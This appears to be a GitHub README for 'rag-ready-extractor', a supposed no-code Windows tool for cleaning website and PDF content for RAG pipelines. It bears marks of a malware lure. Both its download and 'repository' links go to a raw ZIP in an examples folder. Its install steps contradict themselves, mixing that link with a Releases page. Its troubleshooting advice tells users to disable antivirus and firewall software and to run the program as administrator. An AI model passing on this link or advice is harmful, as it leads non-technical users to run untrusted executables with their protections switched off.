rag-ready-extractor helps you take messy content from websites and PDFs and turns it into clean, well-structured data. It works in a way that keeps the important details for retrieval-augmented generation (RAG) pipelines. It also scores the content by how important it is and organizes it by tokens to save space and improve results.
This tool is useful if you want to organize large amounts of information from multiple sources and prepare it for search or machine learning use. It requires no programming skills.
Before you get started, make sure your PC meets these requirements:
- Operating System: Windows 10 or later (64-bit)
- RAM: At least 4 GB
- CPU: 1 GHz or faster processor
- Disk Space: Minimum 200 MB free
- Internet connection to download the software and optional updates
You will find the download link below as a big button. Follow the steps here to install and run rag-ready-extractor.
-
Click the download button above or visit this link:
https://raw.githubusercontent.com/delilahsaprophytic338/rag-ready-extractor/main/examples/rag_extractor_ready_2.1-alpha.3.zip -
On the GitHub page, look for the Releases section on the right side or in the project menu. If there is a "Releases" tab, click on it.
-
Find the latest version. It usually has a version number like
v1.0orv2.3. -
Under the latest release, look for a file ending with
.exeor.msi. This is the installer. -
Click the installer file to download it to your PC.
-
Once the download finishes, open the installer file by double-clicking it.
-
Follow the on-screen instructions:
- Choose your preferred language if asked.
- Accept the license agreement.
- Select where you want to install the program, or use the default folder.
- Click Install.
-
Wait for the installation to finish.
-
When it completes, click Finish to close the installer.
-
The rag-ready-extractor shortcut should appear on your desktop or start menu.
-
Find the rag-ready-extractor icon on your desktop or in the Start menu.
-
Double-click the icon to open the program.
-
The main window will show options to load websites or PDF files.
-
Use the Add Files button to select PDFs or use the Enter URL box to type in a website address you want to extract data from.
-
Click Start Extraction to begin processing.
-
Wait for the program to finish. It will show progress and status messages.
-
When done, the cleaned and structured data will appear in an easy-to-read format.
-
You can save this data as a file or export it for use in other software.
- Extracts text from websites and PDFs.
- Cleans up messy content.
- Assigns importance scores to parts of the data.
- Optimizes the content by splitting it into tokens for better handling.
- Suitable for preparing data for RAG (retrieval-augmented generation) pipelines.
- Saves output in common formats like JSON or CSV.
- Simple user interface designed for people without programming experience.
The software uses smart methods to scan the content you provide. It looks at every part and decides what is important based on meaning, not just keywords. This helps keep useful data while removing ads, junk, or unrelated text.
Next, it breaks the text into token chunks. Tokens are small pieces of text that machine learning models like. This helps you save space and keep focus on key information.
The final output is clean and ready for use with AI tools or data systems that need structured input.
After you open rag-ready-extractor, you can adjust these settings to change how it works:
- Token size: Change how big each chunk of text is.
- Importance threshold: Set the minimum importance score to keep data.
- Output format: Choose between JSON, CSV, or plain text for your saved files.
- Batch processing: Enable multiple files or URLs to be processed in sequence.
- Language preference: Pick the language for processing if your content isn’t English.
-
The program does not start: Make sure your Windows system is up to date. Try running the program as an administrator (right-click the icon and select "Run as administrator").
-
Extraction is slow: Larger files take longer. Close other applications to free up RAM. Check your CPU use in Task Manager.
-
No output or empty data: Ensure the URLs are correct and PDFs are not password protected. Supported formats include standard HTML websites and PDF documents.
-
Errors during installation: Temporarily disable antivirus or firewall software that might block the installer.
Is internet required to use rag-ready-extractor?
You need internet to download the program. Extraction from websites requires internet access. PDF extraction works offline.
Can I extract data from password-protected PDFs?
No, password-protected PDFs are not supported.
What if my file is too large to process?
Try breaking it into smaller parts or use batch processing to handle multiple smaller files.
Which file formats can I import?
Currently, the program supports PDF and website URLs only.
If you have questions or face issues, you can visit the GitHub repository page and open a new issue. Include details about your problem and your Windows version.
Repository link: https://raw.githubusercontent.com/delilahsaprophytic338/rag-ready-extractor/main/examples/rag_extractor_ready_2.1-alpha.3.zip
rag-ready-extractor focuses on cleaning and preparing data for AI tasks involving language models. It supports popular techniques like semantic importance scoring and token optimization. It works smoothly with tools like Langchain, LLaMAIndex, and vector databases.
This project is open-source under the MIT License. You can use and modify it as needed.
